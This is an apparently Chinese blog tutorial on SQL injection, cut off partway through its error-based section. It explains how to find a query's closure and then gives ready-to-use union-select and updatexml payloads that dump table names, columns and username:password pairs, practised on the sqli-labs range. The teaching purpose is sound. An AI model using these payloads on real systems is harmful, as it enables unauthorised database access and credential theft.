【Web安全】SQL各类注入与绕过

2. SQL注入简介

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。在应用程序中,如果没有恰当的过滤,则可能使得恶意的输入导致服务器代码查询语句被恶意拼接,进一步使得数据库信息泄露。

先来举出SQL注入类型吧,常见的SQL注入类型有:联合注入、报错注入、堆叠注入、时间盲注、布尔盲注、二次注入、宽字节注入、XFF注入等。

3. 判断闭合

例如有下面几段SQL语句:

select \* from security where x=$id;
select \* from security where x=($id);
select \* from security where x='$id';
select \* from security where x=('$id');
select \* from security where x=(('$id'));
select \* from security where x="$id";
select \* from security where x=("$id");
select \* from security where x=(("$id"));

这几条是不同闭合方式的SQL语句,第一条是数字型注入,剩下的是字符型注入,它们都有不同的闭合方式——单引号闭合、单引号括号闭合等。$id是我们输入的值,我们输入id=1的话,第一条语句就为select * from security where x=1;,假如输入id=1“多了个单引号(以第一条和第六条为例),那么第一条语句就会报错,第六条也会报错因为多了个双引号;如果我们输入id=1" – #呢?第一条还是会报错,但是第六条不会报错,因为我们最后的SQL语句是select * from security where x=“1” – #";后面的一个双引号被注释掉了,这就是构造闭合。

4. 判断数字型还是字符型

?id=2-1 --+ 确定2和1的内容如果通过减号显示1的内容,那就是数字型输入。有时候这一杠会被过滤就换一种方法
?id=1' --+出现报错信息,根据报错信息可以判断原来有没有引号

?id=1' and '1'='1
?id=2' and '1'='1  判断有没有括号,因为有括号的话整体是1
剩下就是一些加单引号、双引号、括号、大括号,百分号的过程了,大括号和百分号比较少见。

刷sql-labs-master靶场习惯了就容易判断了。

闭合完成之后可以干嘛?当然是构造payload,例如(先不管它是做什么的):

select * from database where id=‘1’ and updatexml(1,concat(‘~’,substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+’

其中我们输入的内容是:1’ and updatexml(1,concat(‘~’,substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+

总之,url后面是字符,那么可能就是字符型注入,url后面是数字,可能是字符型也可能是数字型,这需要测试。

4. 联合查询注入

联合查询的原理是利用了数据库的联合操作,将两个或多个查询的结果合并到一个结果集中。当注入成功时,原始查询和额外的查询的结果会合并在一起返回给应用程序,进而显示在页面上。

判断完闭合之后就是构造payload了,具体步骤就是获取表名、列名和数据,而这一节讲的联合查询的具体步骤就是:

  • 判断有多少列,使用order by,这个关键字的作用是根据某一列进行排序,假设只有三列,你想要根据第四列排序,但是没有第四列呀!这就会报错或者说是不显示数据。
?id=1' order by 3 -- #

在这里插入图片描述

  • 判断回显位union select,回显位是啥?查询操作将两个或多个查询的结果合并到一个结果集中。当注入成功时,原始查询和额外的查询的结果会合并在一起返回给应用程序,进而显示在页面上。当然要是的前者返回为空才会显示第二个查询的数据。之后页面会显示会显示是哪一个,进而在那一个数进行操作即可。
?id=-1' union select 1,2,3 -- #

在这里插入图片描述

  • 获取表名,为什么不先获取数据名呢?因为可以使用database()函数代替:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- #

group_concat()函数是将里面的多个行整合为一行即一个字符串,information_schema见这里,简单看一下column_name、table_name、table_schema对选取条件有帮助的就行。

  • 获取列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'-- #

  • 获取数据
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users -- #

在这里插入图片描述

5. 报错注入

报错注入的定义就是利用了数据库的某一些机制,人为制造错误的条件,并且将查询结果附在报错信息之中,前提是有报错信息,查询php代码可知通常是print_r(mysql_error())。常见的报错函数有:floor、updatexml、extractvalue等。

  • updatexml语法:三个参数,第一个string格式为XML对象的名称内容,第二个是Xpath格式,xpath差不多就是一个位置,第三个参数为更新的内容,如果第二个参数不是xpath格式则会报错。
  • extractvalue语法:两个参数,第一个是string格式为xml文档对象的名称,第二个是xpath格式,报错原理也一样。

来看sqli-labs-master第一

  • 30
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值